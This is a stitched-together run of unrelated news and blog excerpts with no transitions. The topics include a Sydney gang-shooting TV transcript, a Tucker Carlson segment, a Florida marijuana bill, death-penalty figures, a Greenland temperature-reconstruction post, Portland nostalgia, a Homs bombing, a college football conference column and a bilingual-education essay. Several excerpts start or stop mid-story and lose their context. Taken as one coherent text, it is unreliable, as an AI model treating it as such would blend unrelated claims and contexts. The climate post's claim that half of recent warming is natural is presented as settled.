SEAN RUBINSZTEIN DUNLOP, REPORTER: Sydney's gang warfare has reached a terrible new low.
DAVID LAGATS, NSW POLICE: I think our greatest fears have now been reached with an innocent person. A 13 year old occupant inside the house was struck by the gunshot pellets and suffered wounds to her back.
SEAN RUBINSZTEIN DUNLOP: Late last night two men went to this house in Blacktown in Sydney's west. They asked for another man but his family shut the door on them. The men fired four shots hitting a teenage girl.
DAVID LAGATS: I think the public are over these shootings.
SEAN RUBINSZTEIN DUNLOP: By morning the crime scene was still under heavy police guard as neighbours struggled to make sense of the violence.
SENOVEVA SAME, NEIGHBOUR: We hear only just like one shot and we thought it was only nothing. Then we heard someone screaming so that's how we realised maybe something happened.
JANARDAN SAMI, NEIGHBOUR: Never heard anything like this. This is the first time we heard something like this. I got like four kids in my house here, you know all teenagers you know. I'm very scared to live here now, you know. This is my neighbour down here.
SEAN RUBINSZTEIN DUNLOP: This shooting was the latest in a new surge of gun violence which began a week ago at Revesby in Sydney's south west.
One man was killed, another seriously injured when a hail of gunfire was sprayed into a garage.
TOLEAFOA VELIA VELESI, NEIGHBOUR: And then all of a sudden I heard a man wailing sound, you know, crying out loud and then I knew this someone was shot.
SEAN RUBINSZTEIN DUNLOP: The dead man was Mahmoud Hamzy, a member of the family behind the notorious crime gang the Brothers 4 Life.
JAMAL RIFI, COMMUNITY LEADER: From all the information that I've been told he is a good guy. Being a cousin of the Hamzy does not make him criminal. He had a career in university and he was a university student. He comes from a good family, his parents are very well regarded, they live away from the area. He was visiting and he was at the wrong place at the wrong time. His killing is senseless killing, and I can feel for his parents.
SEAN RUBINSZTEIN DUNLOP: The morning after, there was nothing but bravado from the gang's self appointed leader at the scene.
GANG LEADER: A bit of fireworks went off. Someone got hit with a firework.
JOURNLAIST: Did you know the person who was shot?
GANG LEADER: No, I don't know. I don't know them, man.
JOURNALIST: Pretty serious fireworks, what does the number plate mean?
GANG LEADER: New Year's Eve came early.
SEAN RUBINSZTEIN DUNLOP: The number plates on the car, a clear sign of contempt for the police. MEOC, the acronym for the police Middle Eastern Organised Crime squad. The Brothers 4 Life are one of their key targets.
NICK KALDAS, DEP. COMMISSIONER NSW POLICE: Brothers 4 Life are very much a focus for NSW Police at the moment, and those who are involved in that group need to think long and hard about what they do over the next few days.
SEAN RUBINSZTEIN DUNLOP: The Brothers 4 Life gang was founded in jail by convicted murderer Bassam Hamzy, Australia's highest security prisoner. Even behind bars he's wielded enormous power using smuggled mobile phones to direct crimes. Police are investigating whether he played a role in the latest violence.
NICK KALDAS: Bassam hamcy's in custody. It's difficult how he could see how he played a role. Whether he had any influence on anyone is yet to be revealed. That's not certain yet.
JOURNALIST: How could he have any influence on people if he's locked up in the super max?
NICK KALDAS: If you're in custody you still talk to people, you're not isolated from the world. You may talk to people and ask them to do things for you. I'm not saying he's done it this occasion but it's a possibility and it's on the table.
SEAN RUBINSZTEIN DUNLOP: The Brothers 4 Life gang and the Hamzy family are under investigation for a series of murders, shootings, kneecappings and kidnappings in recent years. The gang has brought together criminals who have been linked to some of Sydney's most sinister crimes over more than a decade.
This recent attack in the car park of a Sydney sex club is an example of the kind of violence carried out by the Brothers 4 Life.
Two masked men ambush their victim, shooting him at close range.
The man was shot several times, remarkably he survived.
An associate of the gang has been charged with attempted murder.
JAMAL RIFI: Definitely they're dangerous but the sheer fact that action is dangerous, there is a lot of extortions, there's a lot of killing, now we have a dull moment and we will be quite happy but what happened recently in the escalation, we've seen people being shot at home in the safety of their home, 13 years old. That's terrible. Of course they are dangerous.
SEAN RUBINSZTEIN DUNLOP: All too often police investigating the gang and its crimes confront a wall of silence. Today the Premier reacted angrily after learning the parents of the girl shot last night were not helping investigators.
BARRY O'FARRELL, NSW PREMIER: And extraordinarily her parents are not cooperating with police. What sort of parent whose daughter has been injured in an attack like this will not cooperate with police? And that underscores, that underscores the problem that police across this state have.
SEAN RUBINSZTEIN DUNLOP: His comments have infuriated community leaders like Jamal Rifi who say the Government has failed to act on gang crime.
JAMAL RIFI: It was appalling what the Premier's remarks after 18 months of silence, all what he could do was to come up to blame the parents of innocent victim and he's questioning why they're not cooperating with the police? It's too simple. They are afraid.
SEAN RUBINSZTEIN DUNLOP: Later today the Premier released a statement saying the family is now cooperating with police but the community is still living in fear.
KEVSAR TRAD, ISLAMIC FRIENDSHIP ASSN. OF AUST: People are afraid that some of their children might be drawn into that lifestyle. People are afraid for the safety of their children. People are afraid for the safety of their environment. They know that these boys who are out there who may be attracted to this lifestyle.
SEAN RUBINSZTEIN DUNLOP: Police say they need the community's support.
SUPT GAVIN DENGATE, NSW POLICE: I know the families do know what's going on. I talk to them, generally a number of them are scared in the discussions I've had with them. But we will keep going back and back and back and we won't stop doing it.
SEAN RUBINSZTEIN DUNLOP: Scenes like this have become all too familiar for the community that's being wracked by this violence. On Friday hundreds gathered to farewell Mahmoud Hamzy, the man shot dead last week in the garage of his cousin's home. After today's shooting more revenge attacks are feared.
Carlson said the parade organizers decided to honor Oscar Lopez Rivera, who was implicated in several domestic terrorist attacks in the 1980s.
The FALN committed at least 100 bombings in the Lower 48, according to National Review.
Rivera spent decades in prison until his sentence was commuted by President Barack Obama.
Carlson told Williams that Lopez Rivera killed five people in New York in his quest to have Puerto Rico become its own Communist society.
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"You represent New York City, a city you think would be sensitive to terror [but are] endorsing a terrorist," Carlson said.
Williams said Lopez Rivera's "terrorist" status depends on the observer's vantage point.
He said the U.S. considered Nelson Mandela a terrorist until 2008, and that Dr. Martin Luther King Jr. was assassinated for his activism.
"Are you really comparing him to Nelson Mandela?" Carlson asked. "The most dangerous man in America [according to] the FBI?"
Williams said he supported nonviolent activism and maintained Lopez Rivera is not a terrorist.
The NYPD and other groups in town have condemned the parade's decision.
Watch the clip above.
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Lawmakers burst into applause after the 111-7 vote that followed nearly two hours of questions and debate. In the end, some lawmakers who were torn on the issues said their hearts were swayed by the stories of parents seeking to help children with severe epilepsy.
“The compassion that was felt in the words of everyone who spoke, the sincerity of this desire to help people who need help lifted this chamber up today,” said Republican House Speaker Will Weatherford after the vote.
The bill puts some restrictions on the use of the marijuana strain known as Charlotte’s Web. It can have no more than 0.8 percent THC, the chemical that makes users feel high. On average, marijuana has about 15 percent THC, according to the National Institute on Drug Abuse. The strain has normal levels of cannabidiol, or CBD, which is used to treat seizures.
Also, people would not be able to just walk into a doctor’s office and get a prescription. Only doctors have who have been providing ongoing treatment of a patient can prescribe it, and only as a last resort if other treatments aren’t effective.
The state would also maintain a registry of eligible patients. The marijuana can’t be smoked and would be converted into an oil. Only four dispensaries would be allowed in the state and they would be highly regulated.
Support for the bill sponsored by Republican Rep. Matt Gaetz was questionable when it was first filed, but became overwhelming after parents of children suffering from seizures pleaded for help during committee hearings.
“In the state of Colorado we do know that 85 percent of children who are using non-euphoric marijuana to control seizures and spasms have seen a 50 to 100 percent reduction in those seizures,” said Gaetz, R-Shalimar.
Still, a handful of House members raised concerns, including a lack of U.S. Food and Drug Administration approval for the drug’s use and the possibility that the bill will open the door for wider spread use of marijuana.
“This could be the rifle shot that starts a massive avalanche,” said Rep. Dennis Baxley, R-Ocala. “When I look at that I simply can’t pull the trigger.”
Rep. Darryl Rouson, who overcame substance abuse problems years ago and is now strongly anti-marijuana, said he couldn’t imagine supporting a marijuana bill, but he was swayed to do so.
“I’m not worried about Charlotte’s Web, I’m worried about Pandora’s box,” said Rouson, D-St. Petersburg. “I thought about it, why would I vote for something like this? But … the answer was, it’s about quality of life for people who are suffering and there’s evidence to show it works.”
The Senate passed the bill (SB 1030) earlier this week, but the House made changes that will require another Senate vote before it goes to Gov. Rick Scott, who hasn’t taken a position on it.
(TM and © Copyright 2014 CBS Radio Inc. and its relevant subsidiaries. CBS RADIO and EYE Logo TM and Copyright 2014 CBS Broadcasting Inc. Used under license. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed. The Associated Press contributed to this report.)
The executions, which would be the first in the state for 12 years, have been paused by a court ruling.
The moratoriums indicate a countrywide trend as states are handing out fewer death sentences than ever before.
There are currently 31 states in the US that practise the death penalty.
The following graph demonstrates the number of death sentences since 1999, and refer only to sentencing, not actual executions.
In 1998 there were 295 death sentences and by 2016 that number had gone down significantly to just 30 .
Why the decrease in numbers?
Although he was unsuccessful in preventing himself from being executed, witnesses said he ‘appeared to be struggling for breath’ moments before he died, and consequently Arizona announced they would stop using midazolam.
District 3 representative Kshama Sawant sponsored the proposed $150,000 budget line item’s “green sheet” addition to the 2017 spending plan.
This Green Sheet would add $150,000 GSF in 2017 and $150,000 GSF in 2018 to the Human Services Department (HSD) for the Law Enforcement Assisted Diversion (LEAD) program. LEAD expanded to East Precinct in 2016; this funding would keep LEAD’s City-funded portion of its budget at the same level ($960,000).
LEAD is a pre-booking program that places qualifying drug use suspects into counseling instead of jail.
CHS wrote about Mayor Ed Murray’s 2017-2018 budget plan from a Capitol Hill perspective here. Council members have bristled at the mayor’s plan to slice back LEAD spending as well as his homeless spending plan.
Below are eight tweaks to the mayor’s plan being carried forward by the council members. You can take a look at all 104 proposed budget updates here.
In previous posts (here and here), I’ve compared historical events to the Alley and Kobashi
GISP2 Central Greenland Temperature reconstructions for the past 4,000 years. Unfortunately, these two reconstructions are very different. Recently Steve McIntyre has suggested a third reconstruction by Bo Vinther. Vinther’s data can be found here. Unfortunately, Vinther is often significantly different from the other two. The Alley data has been smoothed, but the details of the smoothing algorithm are unknown. So the other datasets have been smoothed so they visually have the same resolution as the Alley dataset. Both datasets (Kobashi and Vinther) were first smoothed with a 100 year moving average filter. Then 20 year averages of the smoothed data were taken from the one year Kobashi dataset to match the Vinther 20 year samples. The Alley data is irregularly sampled, but I manually averaged 20 year averages where the data existed. If a gap greater than 20 years was found that sample was skipped (given a null value).
All three reconstructions are shown in Figure 1. There is no reason to prefer one of the three reconstructions over the other two, so I simply averaged them. The average is the blue line. I’m not presenting this average as a new or better reconstruction, it is merely a vehicle for comparing the three reconstructions to one another and to other temperature reconstructions. This is an attempt to display the variability in common temperature reconstructions for the past 2,000 to 4,000 years.
Figure 1
There are some notable outliers apparent in the comparison. In particular, we see the odd 700AD Kobashi spike, the scatter in the interval from 700BC to 100BC, and the Minoan Warm Period is completely missing in the Vinther reconstruction. The estimates agree better from 900 AD to the present than they do prior to 900 AD. Perhaps as the ice gets older accuracy and repeatability are lost. Figure 2 shows the same average and the maximum and minimum value for each 20 year sample.
Figure 2
The average temperature for the 4,000 year period is -30.8°C. The average minimum and maximum suggest this value is plus or minus 0.3°C. Perhaps we are simply seeing the error in these methods and nothing more. For those who want to see the messy details of the average temperature calculation the spreadsheet can be downloaded here. As noted in my previous post, the error in the time axis is probably at least +-50 years. Loehle has suggested a time error of +-100 years based on 14C laboratory errors. These give us some perspective in interpreting the reconstructions. Below is a comparison of the average to the same historical events we have used before.
Figure 3, click on the image to download a high resolution pdf
This average temperature reconstruction shows a steady decline in temperature since the Minoan Warm Period, interrupted by +-120 year cycles of warm and cold. Don’t take the apparent 120 year cyclicity too seriously all of the data was smoothed with a 100 year moving average filter. After the end of the coldest period, the Little Ice Age, the Modern Warm Period begins and temperatures rise to those seen in the Roman Warm Period. The Modern Warm Period is equivalent to the Medieval Warm Period within the margin of error. We need to be careful because we are comparing actual measurements to averaged proxies. When proxies are averaged all high and low temperatures are dampened. In particular, the Medieval Warm Period is somewhat smeared and dampened due to the Vinther record. The Vinther Medieval Warm Period peak is earlier than the Kobashi and Alley peaks. Major volcanic eruptions fit this timeline reasonably well. Rabaul is noted at 540AD. Others are Thera-Santorini in 1600 BC and Tambora in 1815. TheHadCRUT 4.4 point shown with a red star is an average of several HADCRUT4 surface temperature grid points in the Greenland area thought to be comparable to the Greenland average temperature.
Comparisons to broader temperature reconstructions
Dr. Craig Loehle published a global composite temperature reconstruction in 2007 and a corrected version of the reconstruction in 2008. This reconstruction has been widely reviewed and appears to have stood the test of time. Subsequent work seems to support the reconstruction. In Figure 4 we show his global reconstruction compared to the Greenland average and the recent reconstruction of temperature in the extratropical (90° to 30°N) northern hemisphere by Ljungqvist. The graph in Figure 4 shows temperatures as anomalies since each line represents a different area.
Figure 4
All of the reconstructions show a trend of decreasing temperature to the Little Ice Age, roughly from 1400 to 1880 AD. They also show a temperature peak around 1000 AD. The most striking thing about Figure 4 is that the temperature swings seen in the Greenland Average are larger than in the broader reconstructions. Is this because they average more proxies? Or because temperature changes are amplified in the Arctic and Antarctic as suggested by Flannery, et al? Probably a combination of both. Finally Figure 5 shows the Greenland average compared to two Arctic reconstructions. One is the ice core component of the Arctic reconstruction by Kaufman, 2009 (data here) and the other is the Sunqvist, 2014 “PAGES2K” arctic reconstruction (data can be found here). In Figure 5, the Arctic and PAGES2K temperature anomalies have been shifted to the average central Greenland temperature for the period for comparison purposes.
Figure 5
These two multi-proxy Arctic reconstructions agree fairly well with the Greenland average if we assume a +-0.3°C temperature error and +-50 year time error. It is interesting that the peak about 400AD is seen in the Arctic and Greenland reconstructions but not in the global reconstructions plotted in Figure 4. The Sunqvist, 2014 reconstruction was used as presented in his paper, it seemed to be carefully constructed. Sunqvist,et al. did include some tree ring data (fewer than 1% of the proxies), but they used it carefully and his reconstruction was not dominated by tree ring data.
Kaufman’s Arctic reconstruction used a lot of tree ring data (4 of 23 proxy records) as can be seen in his Figure 3 and in his dataset. Tree ring data does provide an accurate chronology, but it provides a poor temperature proxy due primarily to what has been called the “divergence” problem. Tree rings may correlate well to temperatures in a “training” period, but show little correlation to temperature longer term. This is probably because forests adapt to long term climatic changes by adjusting tree density and tree size. Tree ring widths can reflect summer temperatures, precipitation and many other factors, but extracting the average air temperature from them is problematic. Loehle discusses this problem and other problems with tree ring data here and here. For this reason, only the ice core records (seven proxy records of 23) from Kaufman’s reconstruction were used to plot the “Arctic” line in Figure 5. Figure 6 compares Kaufman’s “All proxies” reconstruction to his ice core, sediment (and lake varves) and tree ring proxies. The ice core, sediment and tree ring proxies only agree reasonably well for the last 500 years, before that the tree ring proxies diverge dramatically downwards. The lake and marine sediment proxies (12 of the 23) are lower than the ice core proxies also, but not so dramatically. We all know of another paleoclimatologist who took advantage of this divergence.
Figure 6
When all of the proxies are used the earlier temperatures are much lower and the modern warm period has a higher peak. The recent peak in the graph is the twenty year average around 1945. The proxy reconstruction then drops, the last point is centered on 1985. I didn’t bother to “hide the decline.” Except for the sharp drop from 1945 to 1985 Kaufman’s ice core proxies fit the rest of the reconstructions shown here reasonably well.
Discussion
There are many Greenland area temperature reconstructions, they use ice core data, lake and marine sediment core data and other proxies, mainly tree rings. They are not perfect and contain errors in the temperature estimates and errors on the time scale. The exact error is unknown, but by comparing reconstructions we can see that they generally, except for the tree ring proxies, agree to within 0.3°C and in time to within 50 years or so. Why is this important? Natural climate cycles are poorly understood. Some like the ENSO cycle (La Nina and El Nino) we can identify, but because they are irregular and the cause is unknown we cannot model them. The same is true of the Atlantic Multidecadal Oscillation (AMO) and the Pacific Decadal Oscillation (PDO). These events affect the weather and climate all over the world, but they are not accurately included in the GCM’s (General Circulation Models) used by the IPCC and other organizations to compute man’s influence on climate. Thus, some portion of the Modern Warm Period attributed to man may, in fact, be attributable to these or other natural climate cycles.
During the 1980’s and 1990’s the PDO was mostly positive (warming). From the mid 1990’s to today the AMO has been mostly positive and undoubtedly contributing to warming. There have been numerous attempts to see a pattern in these multidecadal natural climate cycles. Most notably, Wyatt and Curry identified a low-frequency natural climate signal that they call a “stadium wave.” This model is based on a statistical analysis of observed events (especially the AMO) and not on the physical origins of these long term climate cycles. But, it does allow predictions to be made and the veracity and accuracy of the stadium wave hypothesis can and will be tested in the future.
Another recent paper by Craig Loehle discusses how the AMO signal can be removed from recent warming, leaving a residual warming trend that may be related to carbon dioxide. He notes that when the AMO pattern is removed from the Hadley Center HADCRUT4 surface temperature data the oscillations are dampened and a more linear increase in temperature is seen. This trend compares better to the increase in carbon dioxide in the atmosphere and allows the computation of the effect of carbon dioxide on temperature. The calculation results in an increase of 0.83°C per century. This is roughly half of the observed increase of 1.63°C. Loehle suggests that the AMO may be the best indicator of natural trends. If this is true then half of recent warming is natural and half is man-made. It also suggests that the equilibrium climate sensitivity to carbon dioxide is about 1.5°C per doubling of CO2. This is the lower end of the range suggested by the IPCC. This value also compares well to other recent research.
Conclusions
The use of temperature proxies to determine surface air temperatures prior to the instrument era is very important. This is the only way to determine natural long term climate cycles. Currently, in the instrument record, we can see shorter cycles like the PDO, AMO, and ENSO. When these are incorporated into models we see that half or more of recent warming is likely natural, belying the IPCC idea that “most” of recent warming is man-made. Yet, these shorter cycles are clearly not the only cycles. When we look at longer temperature reconstructions we see 100,000 year glacial periods interrupted by brief 20,000 year interglacial periods. These longer periods will probably only be fully understood with more accurate reconstructions. Intermediate ~1500 year cycles, called “Bond events” have also been identified.
Tree ring proxies older than 500 years and younger than 100 years are anomalous. This anomaly is large enough to cast doubt on any temperature reconstruction that uses tree rings. Between lake and marine sediment proxies and ice core proxies it is harder to tell which is more likely to be closer to the truth. They agree well enough to be within expected error. All of the proxies diverge from the mean with age, none appear to be very accurate (or more precisely in good agreement) prior to 1100 AD. It does appear that all of the proxies except the tree ring proxies, could be used for analytical work back to 1100 AD; this is encouraging.
The other very important use for temperature reconstructions is to study the impact of climate changes on man and the Earth at large. Historical events are often known to the day and hour, only when we have reconstructions with more accurate time scales can we properly match them to major events in history. In addition, this work made it clear that combining multiple proxies causes severe dampening of the temperature response because the time scale error causes peaks and valleys in the average record to be reduced. Multiple proxy reconstructions show less temperature variation than actually occurred. Ideally, we need a very accurate time scale on all proxies so they can be combined properly. But, achieving more accuracy than 50-100 years will be difficult given current dating technology. Tree rings are more accurate than this, but they are a poor indicator of temperature. There is a lot of work needed in this area.
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"When I'd visit Portland in the '90s, it had a seedy quality to it. Just watch Gus Van Sant's 'Drugstore Cowboy' if you want to get a fairly realistic picture of some of the locals. Like Seattle before the dot-com boom, Portland -- and the Pacific Northwest in general -- still felt like a place people came to disappear. You can hear that heaviness in the music from that era, the sadness in Nirvana, Mudhoney, Crackerbash, the Wipers (who were from earlier years) -- the sounds embodied the emotional equivalent of getting washed up on the beach somewhere. You can feel at the mercy of your surroundings in the Northwest, subsisting on dreariness until even your internal landscape feels soggy. It's depressing, and before the money came in, before the buildings started to reflect the bright ideas and optimism, that sadness was reflected back much more poignantly."
Last week, a Brownstein fan put this memorable excerpt up on Reddit, launching a thread on the social-media forum that quickly gained momentum, with dozens of longtime Portlanders jumping in with remembrances of the way things were.
"I used to tie a flannel shirt around my waist, put on my tall docs, and walk around pioneer square hoping to get cast as an extra grunge kid in X-Files," offered a Redditor using the name Tubbagutz.
Wrote another: "Back in jr high, my friends and I would take the bus from Vancouver just to go to 2nd Ave for punk rock we couldn't find at Fred Meyer, and Cal Skate for parts and stickers. The 'big city' was intoxicating to a 13 yr old."
Brownstein was an obvious choice to get such a discussion started. The rocker and actress has both Portland street cred and, far rarer, Portland celebrity cred. And her IFC comedy series made a splash in its very first episode, in 2011, with a song satire that declared, "The dream of the '90s is alive in Portland."
That dream -- chiefly about living your own life however you want to define it -- is still very much alive. But the reality of the '90s is mostly gone. Portland Redditors were quick to make this argument.
"85% of the people that have moved here in the last five years would have NO f---ing interest in living in that town, or even visiting... trust me," wrote one Redditor using the handle Counterkulture. "None of the bars would be snobby enough, none of the restaurants would have menus that would, in any way, appeal to them. Housing/apartments, etc., same deal."
Counterkulture certainly has a point. Portland in the 1990s was dirtier, less trendy and more dangerous than the city we live in today. It was largely still a working-class city. The swank Pearl District didn't even exist yet. The Lovejoy viaduct came down only in 1999, opening the mostly derelict industrial area to redevelopment. The decade started with a tavern owner as mayor (Bud Clark) and ended with a radical environmental activist camping out for 11 days on the ledge of a downtown building (Tre Arrow).
Author Chuck Palahniuk, in his memoir/city travelogue "Fugitives and Refugees," related a reasonably commonplace occurrence in downtown Portland in the years between Clark's mayoralty (which ended in 1992) and Arrow's sit-in on that ledge: being jumped by a group of guys on a "wilding" excursion.
"Twenty-five points!" one of the attackers exulted after his punch knocked Palahniuk to the ground. "After that," Palahniuk wrote, "every time anyone kicked me in the head, someone shouted, 'Ten points.' Or they shouted, 'Twenty points,' if they kicked extra hard or their shoe landed in my face.' This all lasted about the length of a traffic light. Then they were running away, and I got up and shouted after them. Then they were chasing me, and I ran for the lights and traffic of W Burnside Street."
So why do so many people lament this Portland's demise, like the Redditor who insists, "I miss dirty, weird Portland"? Because at least you knew you were truly alive, goes the thinking. Because you felt like you were getting in on the ground floor of something important being built, something uniquely Portland. Plus, the Trail Blazers were title contenders every year.
This was the Rose City where waves of Santa Clauses faced off with police in riot gear. Where anarchists in town for an "un-conference" broke windows and banged on parked cars as part of a planned "wandering vandalism" excursion. Portland in the 1990s was, of course, where Kurt Cobain and Courtney Love met. Love spotted the soon-to-be grunge-rock legend shortly before he took the stage at the Satyricon.
"You look like Dave Pirner," she told him -- Pirner being Soul Asylum's lead singer, who, unlike Cobain at the time, had made a name for himself on the national music scene. Cobain's response: He wrestled her to the floor.
Love also had yet to become a rock star at this time. She had been making her living in Portland as a stripper.
"I didn't have a gimmick," she said in 1992 of her stripper stage persona. "I see girls now who are trying to be alternative. They won't make a dime. You've got to have white pumps, pink bikini, f---in' hairpiece, pink lipstick. Gold and tan and white. If you even try and slip a little of yourself in there you won't make any money."
It would be another nine years before Portlander Selena Mooney launched the "alternative" nude-models/burlesque-performers outfit SuicideGirls. Mooney's tattooed, goth-like women are now as mainstream in the Rose City as "Star Wars" movies, so much so that the business has relocated to Los Angeles.
Many longtime Portlanders clearly feel like something meaningful has been lost over the past dozen or so, increasingly upscale years, something that made Portland special. Those who think the city today is special found the Reddit thread a bit disheartening.
"Goddamn," a Redditor with the user name Ttihay wrote, "I feel like the only one who likes this city."
Well, buck-up Portland 2017 fans, because Brownstein, at least, still likes the Rose City too. In the paragraph before the one that made it onto Reddit, she wrote this:
"Portland became a respite and a true hometown [for me]. ... Portland has a nurturing quality, a placidity. For better or worse, it's a perennial but shyly hopeful city; if we had a gesture it would be a shrug."
OrgNet, a data-mining consultancy, describes how it mined the social graph of the interlocking, every changing owners of several slum-buildings to show that they were all in a criminal conspiracy to avoid having to do the legally required maintenance necessary to keeping their buildings habitable and safe.
Figure 6 shows the complete conspiracy. It was now obvious that properties exchanged hands not as independent and valid real estate investments but as a conspiracy to avoid fixing the building violations. The green links represent borrowed money flowing into the buildings through new mortgages. As time went on, and the buildings appreciated in value during a real estate boom -- loans from the mortgage company allowed the owners to "strip mine" the equity from the buildings. This is a common slumlord modus operandi -- they suck money out of a building rather than put money back in for maintenance.
Ospreys pair Ma’afu Fia and Keelan Giles have both been ruled out of action after picking up injuries in last Sunday’s Challenge Cup win over Lyon at the Liberty Stadium.
Tight head prop, Fia, suffered knee and ankle ligament damage, while winger, Giles, injured his hamstring.
Chris Towers, Medical Performance Manager at the Ospreys confirmed the news today, saying:
“Ma’afu pulled up with ankle and knee damage on Sunday. Although the knee injury is minor and recovering well, the ankle is more of an issue. At this early stage of his recovery we are optimistic that he can be back available for selection in around four or five weeks, in a best-case scenario.
Officials said at least 27 people were wounded when a car bomb was detonated in a busy commercial street in the central Karm al Loz neighborhood. Footage of mangled cars and destroyed shops and homes were broadcast on state media.
Another bomb later exploded on the southern edge of the city, wounding ten civilians, according to the state news agency SANA. No one claimed responsibility for the twin bombings.
Residents said the two districts targeted were inhabited mainly by Assad’s Alawite minority sect in the city of around one million inhabitants.
The city of Homs lies near the intersection of Syria’s main north-south and east-west arteries, and is on a crucial supply route between the capital Damascus and the Mediterranean coast.
The city was a center of the insurrection against Assad’s rule and was an major opposition stronghold until it was retaken by the army in May 2014. Only one neighborhood remains under opposition control.
Homs lies 150 km (90 miles) to the west of Palmyra, also known as Tadmur, which ultra hardline Islamic State militants seized last month.
The Syrian army and militia fighting alongside it have lost swathes of territory to insurgent groups, including the northwestern province of Idlib which fell to an alliance of Islamist militants, including al Syria’s Qaeda offshoot, the Nusra Front. They have also lost ground to rebels in southern Syria.
When I sat down to sketch out last week's column discussing the current struggles of C-USA and what its future might look like, I bounced around a few ideas about lineups for a newly expanded conference and what could happen if it fell part.
There were a few schools left out of the final version of my column and I received an email Thursday afternoon from an athletic director of one of the programs not included in my idea of a merger of Conference USA and the Sun Belt. It was a 24-team league that consisted of four different regions broken up geographically.
I responded to the athletic director's polite suggestion that I keep his school in mind, telling him that his program was included in my first lineup for an expanded Conference USA and that I actually liked it better than the 24-team conference that ended up in the column.
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The first version I put together included 28 teams and I think it does a better job of cutting down on travel distances for the schools included:
SOUTHWEST: Texas-San Antonio, Rice, North Texas, Texas State, UTEP, Sam Houston State, New Mexico State.
MID-SOUTH: Southern Miss, UAB, Louisiana Tech, WKU, Middle Tennessee, La.-Lafayette, Arkansas State.
SOUTHEAST: South Alabama, Troy, Georgia Southern, Georgia State, Florida International, Florida Atlantic, Coastal Carolina.
NORTHEAST: Marshall, Old Dominion, Charlotte, Appalachian State, UMass, Eastern Kentucky, James Madison.
In this 28-team league, two schools that have battled geographic isolation in C-USA will have conference mates within a short driving distance. UTEP and New Mexico State are separated by about 40 miles. It's only a two-hour drive from Marshall to Eastern Kentucky. NMSU is without a conference home for its football program and EKU tried hard to get in the Sun Belt a year ago before being passed over for Coastal Carolina.
Each team would have an eight-game conference slate, including a six-game divisional schedule, one locked-in crossover contest (such as Southern Miss-South Alabama) and one conference contest that would rotate.
You could have East and West representatives in the title game with divisional champs decided on the basis of conference records and the College Football Playoff rankings serving as a tie-breaker. The inclusion of the CFP rankings as a tie-breaker would encourage teams to put together tough non-conference slates. (I'm looking at you, Marshall)
This isn't that that different from the 24-team conference I first suggested, but I believe this model is actually more workable. If you're going to go big, might as well go huge.
A 28-team conference could amount to what many would consider a second division within FBS, but it would face the same issues that the MAC, American Athletic Conference and the Mountain West face on the field.
The biggest problem for the 28-team conference would be that TV revenue shared among the member programs would be watered down badly. But again, if you're currently only getting $200,000 per school like C-USA or $100,000 like the Sun Belt, it doesn't matter that much. The schools included in this conference would benefit from a significant decrease in travel costs for all sports.
Sports like softball, baseball and volleyball could feature conference schedules that rely heavily on home-and-home series with the closest league mates. Other games could stay within the East and West divisions.
The one school that continues to be left out in the cold in this 28-team concept is Louisiana-Monroe, which has the smallest athletic budget in all of FBS at approximately $12.95 million. It's hard to see a long-term future in FBS for ULM even if it may fit squarely in the footprint of a 28-team league. The promotion of Sam Houston State, James Madison and Eastern Kentucky to FBS, three schools that already have larger athletic budgets than ULM, makes more sense for the conference. You also have to consider that Louisiana Tech and ULM already share the same market.
The best thing that could happen to ULM is that C-USA simply dissolves and it could be included in a more regional conference.
The 28 teams included in my hypothetical C-USA could also be divided into three separate nine-to-10 team conferences. This may be the best situation for all involved and each conference would have an opportunity to negotiate their own TV deals.
Conference USA will have a chance to negotiate a new TV contract in two years with plans of improving on its recent deal that nets each school $200,000, according to The Virginian-Pilot. If it doesn't receive a significant bump in revenue, it's likely time for members to dream up new options.
Whether it's a conference of 20-plus teams or three regional conferences, C-USA and Sun Belt officials should start thinking outside the box.
BIRMINGHAM, Ala. – After becoming the first American racing series with a dedicated broadcast channel on demand via Apple TV, Amazon Fire and Roku last April, Mazda Road to Indy TV today announced another landmark. The Mazda Road to Indy Presented by Cooper Tires will now be the first open-wheel racing series to have an Official App on Xbox One.
Developed by Microsoft, Xbox One was the top-selling console in the U.S. in the second half of 2016. Microsoft continues to expand its gaming business, and features the most advanced multiplayer network on Xbox Live. In January of this year, Microsoft said Xbox Live monthly active users reached a record 55 million.
Users can also stream videos and watch Blu-ray movies on Xbox One as well as enjoy Apps like Netflix, HBO GO and ESPN and now Mazda Road to Indy TV.
Developed by JP Manterola, CEO of Pro Racing Group and Executive Director of Mazda Road to Indy TV, and his team, the Xbox One App brings all of the racing action and behind-the-scenes content from the Mazda Road to Indy into televisions around the world.
All three levels of the unique driver development ladder system – Indy Lights Presented by Cooper Tires, Pro Mazda Presented by Cooper Tires and the Cooper Tires USF2000 Championship Powered by Mazda – will be featured on the Xbox One App.
“With the launch of our Xbox App, we’re not only spearheading a new medium that provides free accessibility to viewers worldwide, but we’re delivering an experience into the heart of their home,” said Manterola. “In the U.S. alone, 65 percent of households own a video game console, so we are excited to witness how this will impact the next generation of racing fans.
“We are providing an exciting community for our viewers that makes them feel inclusive and exclusive simultaneously.”
The Xbox One App complements the Mazda Road to Indy TV App currently available for mobile devices, and provides an expansion and accessibility to users that are not utilizing current mediums.
“Road to Indy TV has done a fantastic job with the new Xbox One App,” said Belardi Auto Racing’s Shelby Blackstock. “It is very accessible and easy to use. It's a great way for fans to keep up with current and past seasons, along with off-track video footage.”
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As Congress continues its work on the long-overdue reauthorization of No Child Left Behind (NCLB), debates about Title I funding, testing, standards, accountability and charter schools have captured the bulk of the media’s attention. Much less consideration has been given to another (and historically important) aspect of the legislation, which is also known as the Elementary and Secondary Education Act (ESEA): bilingual education.
In 1968, the Bilingual Education Act was signed into law by President Lyndon Johnson, becoming Title VII of ESEA – a hard-fought civil rights victory. However, beginning in the 1980s (as I’ve chronicled in The Bilingual School in the United States) subsequent reauthorizations of ESEA began to reflect the political pressure of the English-only movement and, thus, included more funding for non-bilingual programs, such as English as a Second Language (ESL) and English immersion. The term “bilingual” was removed from the 2001 reauthorization when the act was renamed “No Child Left Behind.” Although bilingual education is not prohibited by ESEA, it is not encouraged either; the transitioning of English learners to only English rather than cultivating their bilingualism has become the preferred practice.
This slow but steady retreat from dual-language instruction is problematic because many language scholars agree that bilingual education serves the needs of English learners better than ESL or English immersion programs. That is, numerous studies – brilliantly analyzed and synthesized in Eugene E. Garciá’s Teaching and Learning in Two Languages – show that instruction in students’ home language provides a linguistic foundation for the learning of English (and other languages) and bolsters their self-esteem, precisely what the Bilingual Education Act originally hoped to achieve.
